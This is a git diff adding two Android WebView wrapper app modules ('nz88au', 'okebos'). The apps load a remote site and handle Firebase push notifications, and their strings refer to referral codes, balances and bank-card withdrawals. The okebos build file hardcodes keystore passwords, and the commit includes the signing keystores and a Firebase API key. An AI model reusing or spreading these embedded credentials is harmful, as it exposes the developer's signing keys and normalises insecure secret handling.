.setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/nz88au/src/main/java/com/web/nz88au/WebApplication.java b/nz88au/src/main/java/com/web/nz88au/WebApplication.java new file mode 100644 index 0000000..e55624e --- /dev/null +++ b/nz88au/src/main/java/com/web/nz88au/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.nz88au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/nz88au/src/main/res/drawable-anydpi/ic_action_back.xml b/nz88au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/nz88au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/nz88au/src/main/res/drawable-hdpi/ic_action_back.png b/nz88au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/nz88au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/nz88au/src/main/res/drawable-mdpi/ic_action_back.png b/nz88au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/nz88au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/nz88au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/nz88au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/nz88au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable-xhdpi/ic_action_back.png b/nz88au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/nz88au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/nz88au/src/main/res/drawable-xxhdpi/ic_action_back.png b/nz88au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/nz88au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/nz88au/src/main/res/drawable/big_bg.xml b/nz88au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..1566234 --- /dev/null +++ b/nz88au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable/ic_launcher_background.xml b/nz88au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/nz88au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/nz88au/src/main/res/drawable/input_bg.xml b/nz88au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/nz88au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/nz88au/src/main/res/drawable/pass_word_bg.xml b/nz88au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/nz88au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/nz88au/src/main/res/drawable/pass_word_bg1.xml b/nz88au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/nz88au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable/pass_word_bg2.xml b/nz88au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/nz88au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable/shape_btn_bg.xml b/nz88au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/nz88au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable/shape_dialog_bg2.xml b/nz88au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/nz88au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable/shape_dialog_bg3.xml b/nz88au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/nz88au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/drawable/shape_dialog_bg_new.xml b/nz88au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/nz88au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/nz88au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/nz88au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/nz88au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/nz88au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/mipmap-hdpi/ic_empty.png b/nz88au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/nz88au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/nz88au/src/main/res/mipmap-hdpi/ic_pull_down.png b/nz88au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/nz88au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/nz88au/src/main/res/mipmap-xhdpi/ic_close.png b/nz88au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/nz88au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/nz88au/src/main/res/mipmap-xhdpi/ic_menu.png b/nz88au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/nz88au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/nz88au/src/main/res/mipmap-xxhdpi/app_logo.jpg b/nz88au/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..0b3e334 Binary files /dev/null and b/nz88au/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/nz88au/src/main/res/values-en/strings.xml b/nz88au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/nz88au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/nz88au/src/main/res/values-night/themes.xml b/nz88au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/nz88au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/values/colors.xml b/nz88au/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/nz88au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/nz88au/src/main/res/values/strings.xml b/nz88au/src/main/res/values/strings.xml new file mode 100644 index 0000000..301a377 --- /dev/null +++ b/nz88au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + NZ88AU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/values/themes.xml b/nz88au/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/nz88au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/xml/app_updater_paths.xml b/nz88au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/nz88au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/xml/network_security_config.xml b/nz88au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/nz88au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/nz88au/src/main/res/xml/provider_paths.xml b/nz88au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/nz88au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/nz88au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/nz88au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/okebos/.gitignore b/okebos/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/okebos/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/okebos/build.gradle b/okebos/build.gradle new file mode 100644 index 0000000..387f9ec --- /dev/null +++ b/okebos/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.okebos" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "okebos" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/okebos/dskjweb.jks b/okebos/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/okebos/dskjweb.jks differ diff --git a/okebos/google-services.json b/okebos/google-services.json new file mode 100644 index 0000000..aed9329 --- /dev/null +++ b/okebos/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "164994839466", + "project_id": "okebos-d0d5d", + "storage_bucket": "okebos-d0d5d.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:164994839466:android:3eec6a4da376805e9271d3", + "android_client_info": { + "package_name": "com.web.okebos" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDgXAlgSvmDue1vHB-KUckgmjIOoBMX-W8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/okebos/ppn.jks b/okebos/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/okebos/ppn.jks differ diff --git a/okebos/proguard-rules.pro b/okebos/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/okebos/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/okebos/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/okebos/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/okebos/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/okebos/src/main/AndroidManifest.xml b/okebos/src/main/AndroidManifest.xml new file mode 100644 index 0000000..6e4ad30 --- /dev/null +++ b/okebos/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/main/java/com/web/okebos/MainActivity.java b/okebos/src/main/java/com/web/okebos/MainActivity.java new file mode 100644 index 0000000..3626728 --- /dev/null +++ b/okebos/src/main/java/com/web/okebos/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.okebos; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 179; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://okebos33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0f0f0f"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0f0f0f"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/okebos/src/main/java/com/web/okebos/MyFirebaseMessageingService.java b/okebos/src/main/java/com/web/okebos/MyFirebaseMessageingService.java new file mode 100644 index 0000000..936c882 --- /dev/null +++ b/okebos/src/main/java/com/web/okebos/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.okebos; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/okebos/src/main/java/com/web/okebos/WebApplication.java b/okebos/src/main/java/com/web/okebos/WebApplication.java new file mode 100644 index 0000000..29b447c --- /dev/null +++ b/okebos/src/main/java/com/web/okebos/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.okebos; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/okebos/src/main/res/drawable-anydpi/ic_action_back.xml b/okebos/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/okebos/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/okebos/src/main/res/drawable-hdpi/ic_action_back.png b/okebos/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/okebos/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/okebos/src/main/res/drawable-mdpi/ic_action_back.png b/okebos/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/okebos/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/okebos/src/main/res/drawable-v24/ic_launcher_foreground.xml b/okebos/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/okebos/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable-xhdpi/ic_action_back.png b/okebos/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/okebos/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/okebos/src/main/res/drawable-xxhdpi/ic_action_back.png b/okebos/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/okebos/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/okebos/src/main/res/drawable/big_bg.xml b/okebos/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..58b2aa4 --- /dev/null +++ b/okebos/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable/ic_launcher_background.xml 